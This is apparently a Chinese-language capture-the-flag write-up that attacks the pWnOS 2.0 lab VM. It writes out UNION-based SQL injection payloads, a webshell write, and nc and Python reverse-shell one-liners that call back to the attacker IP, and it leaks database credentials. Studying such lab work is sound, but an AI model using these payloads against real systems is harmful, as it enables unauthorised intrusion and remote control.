环境
攻击机:kali
靶机:pWnOS: 2.0
此靶机比较特殊,vmware靶机。靶机IP固定10.10.10.100,需要配置虚拟机NAT的IP,如下图所示,
攻击机KALI IP为10.10.10.128
信息收集
主机信息收集:
已知靶机IP为10.10.10.100,所以我们直接扫描靶机开放端口 ,扫描结果如下图:
nmap --min-rate 10000 -p- 10.10.10.100
主机开放了22 、80 端口 ,扫描这两个端口详细信息,扫描结果如下图
sudo nmap -sT -sV -O -p22,80 10.10.10.100
web信息收集
访问80
发现有登录和注册界面跳转,尝试访问看看
登录:
测试是否有sql 注入
使用burp 抓包测试:存在报错注入 ,如下图
通过尝试发现报错注入点在数字4 的位置
收集数据库相关信息:
利用数据库字段获取数据库的库、表、字段信息
查询当前数据库中有哪些表
' union select 1,2,3,group_concat(table_name,''),5,6,7,8 from information_schema.tables where table_schema=database() -- -
查询users表中有哪些字段
' union select 1,2,3,COLUMN_NAME,5,6,7,8 from information_schema.columns where TABLE_NAME="user" -- -
查询uses 中的账号密码:
密码为:c2c4b4e51d9e23c02c15702c136c3e950ba9a4af
通过工具对字符串进行判断:
破解出密码如下:
使用这个密码尝试ssh 登录 失败
收集数据库信息获取到当前用户为root ,权限比较高,
可以尝试上传web shell ,上传web必须知道路径,通过端口信息收集到的80 端口是apache 的web 服务,默认情况的web 目录为/var/www 我们可以尝试先判断:
靶机的web目录是/var/www, 并且发现了一个配置文件,查看这个配置文件,
发现数据库配置文件:读取该文件信息
发现又有个账号root \goodday 尝试ssh 登录 失败,
既然能够读取文件、那我们尝试写文件
出现报错信息,不用管,我们尝试访问这个webshell,访问成功如下图:
使用命令查看是否安装nc 或者python,发现nc、和python 环境都有
使用nc 反弹shell ,失败
nc -nv 10.10.10.128 443 -e /'bin/bash'
使用python 反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
成功拿到webshell
权限提升
浏览文件发现一个数据库配置文件,读取文件有root 和密码,如下图:
使用该账号密码登录成功